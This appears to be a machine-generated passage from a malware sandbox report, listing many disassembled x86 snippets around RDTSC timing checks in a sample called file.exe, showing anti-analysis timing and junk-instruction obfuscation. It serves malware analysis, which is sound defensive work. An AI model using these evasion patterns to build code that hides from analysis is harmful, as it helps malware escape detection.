Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 675593 second address: 6755AB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF8A1198178h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e js 00007FF8A1198184h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6755AB second address: 6755AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6755AF second address: 6755CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF8A1198181h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6755CE second address: 6755E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF045h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 675738 second address: 675743 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 675804 second address: 67580B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6759D3 second address: 6759D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6759D7 second address: 6759E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FF8A11CF036h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6759E5 second address: 6759E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 676132 second address: 676168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF8A11CF047h 0x0000000d pop edx 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF8A11CF040h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 676168 second address: 676172 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF8A119817Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 676172 second address: 6761B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jg 00007FF8A11CF042h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 js 00007FF8A11CF04Ah 0x00000019 jmp 00007FF8A11CF044h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FF8A11CF03Bh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67620D second address: 676295 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A119817Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007FF8A1198178h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 pushad 0x00000027 mov bh, 11h 0x00000029 push edx 0x0000002a movsx edx, di 0x0000002d pop ecx 0x0000002e popad 0x0000002f lea eax, dword ptr [ebp+12484D72h] 0x00000035 pushad 0x00000036 movsx ecx, cx 0x00000039 jmp 00007FF8A119817Bh 0x0000003e popad 0x0000003f jg 00007FF8A119817Ch 0x00000045 nop 0x00000046 ja 00007FF8A119818Bh 0x0000004c push eax 0x0000004d push edi 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007FF8A119817Eh 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 676295 second address: 6762E4 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007FF8A11CF038h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 and edi, 638D0A90h 0x0000002c lea eax, dword ptr [ebp+12484D2Eh] 0x00000032 jnc 00007FF8A11CF039h 0x00000038 nop 0x00000039 push ebx 0x0000003a jnp 00007FF8A11CF03Ch 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6762E4 second address: 6762F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push ebx 0x00000007 jo 00007FF8A119817Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6762F3 second address: 653E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 nop 0x00000006 jmp 00007FF8A11CF045h 0x0000000b call dword ptr [ebp+122D3521h] 0x00000011 jng 00007FF8A11CF04Eh 0x00000017 push ebx 0x00000018 pushad 0x00000019 jno 00007FF8A11CF036h 0x0000001f jnc 00007FF8A11CF036h 0x00000025 popad 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AEC49 second address: 6AEC53 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF8A1198176h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AF05F second address: 6AF065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AF065 second address: 6AF069 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B3DED second address: 6B3E02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FF8A11CF038h 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007FF8A11CF036h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B3E02 second address: 6B3E06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B6813 second address: 6B681E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop edi 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B6AF5 second address: 6B6AFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FF8A1198176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B6AFF second address: 6B6B23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF046h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007FF8A11CF036h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B6CBA second address: 6B6CBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B8F99 second address: 6B8FBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Eh 0x00000007 jmp 00007FF8A11CF03Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B910C second address: 6B9126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FF8A119817Ah 0x0000000a pop esi 0x0000000b push eax 0x0000000c pushad 0x0000000d jno 00007FF8A1198176h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C0D96 second address: 6C0D9C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C0D9C second address: 6C0DA3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C0DA3 second address: 6C0DB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6BF8C8 second address: 6BF8D2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF8A1198176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6BFCAC second address: 6BFCB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6BFCB1 second address: 6BFCD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 jne 00007FF8A1198176h 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF8A1198184h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6BFCD7 second address: 6BFCF2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 je 00007FF8A11CF036h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF8A11CF03Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6BFCF2 second address: 6BFD0E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FF8A1198187h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C362E second address: 6C364A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF046h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C364A second address: 6C364E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C37A3 second address: 6C37A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C37A7 second address: 6C37C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A119817Dh 0x00000007 jnp 00007FF8A1198176h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C37C2 second address: 6C37DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF046h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C37DF second address: 6C37FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A1198185h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C3937 second address: 6C3949 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FF8A11CF03Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C3949 second address: 6C3956 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop edi 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C7191 second address: 6C719C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C719C second address: 6C71A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C730F second address: 6C7313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C74AF second address: 6C74B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C74B4 second address: 6C74D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FF8A11CF040h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C7632 second address: 6C7636 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D0787 second address: 6D079C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF040h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6CE7A4 second address: 6CE7BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF8A119817Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6CE7BC second address: 6CE7C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6CE7C0 second address: 6CE7C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6CED2F second address: 6CED35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6CED35 second address: 6CED39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6CF021 second address: 6CF029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6CF029 second address: 6CF048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A1198189h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6CF048 second address: 6CF04D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6CF04D second address: 6CF05F instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF8A119817Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6CF05F second address: 6CF063 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6CF063 second address: 6CF069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6CF33F second address: 6CF35B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A11CF048h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6CF5FB second address: 6CF607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF8A1198176h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6CF607 second address: 6CF60C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6CF60C second address: 6CF642 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF8A1198178h 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007FF8A1198185h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF8A1198182h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6CF642 second address: 6CF64B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6CF950 second address: 6CF965 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A119817Bh 0x00000007 jc 00007FF8A119817Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D04C6 second address: 6D04E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF047h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D1DFB second address: 6D1E09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D1E09 second address: 6D1E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D1E0E second address: 6D1E14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D1E14 second address: 6D1E18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D6BD5 second address: 6D6C03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198189h 0x00000007 jmp 00007FF8A119817Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D6C03 second address: 6D6C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D6C08 second address: 6D6C12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FF8A1198176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DAD50 second address: 6DAD56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DA338 second address: 6DA33E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DA48F second address: 6DA495 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DA495 second address: 6DA499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DA798 second address: 6DA79C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DA8F5 second address: 6DA909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A1198180h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DA909 second address: 6DA90D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E25D9 second address: 6E2600 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF8A1198176h 0x00000008 ja 00007FF8A1198176h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FF8A1198187h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E2600 second address: 6E262F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FF8A11CF042h 0x0000000a jnl 00007FF8A11CF036h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jmp 00007FF8A11CF03Bh 0x00000019 push ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E262F second address: 6E2658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pushad 0x00000008 ja 00007FF8A1198176h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007FF8A1198185h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E277F second address: 6E27A0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007FF8A11CF03Ch 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jl 00007FF8A11CF036h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E27A0 second address: 6E27BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198187h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E27BB second address: 6E27C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E27C1 second address: 6E27E0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FF8A119817Ah 0x0000000a pop ebx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FF8A119817Ah 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6EAB63 second address: 6EAB69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6EA67C second address: 6EA680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6EA680 second address: 6EA6A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF8A11CF041h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007FF8A11CF03Ch 0x00000014 ja 00007FF8A11CF036h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6EA7ED second address: 6EA7F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6EA7F6 second address: 6EA804 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF8A11CF038h 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6EA804 second address: 6EA80E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF8A1198176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6F6859 second address: 6F685E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
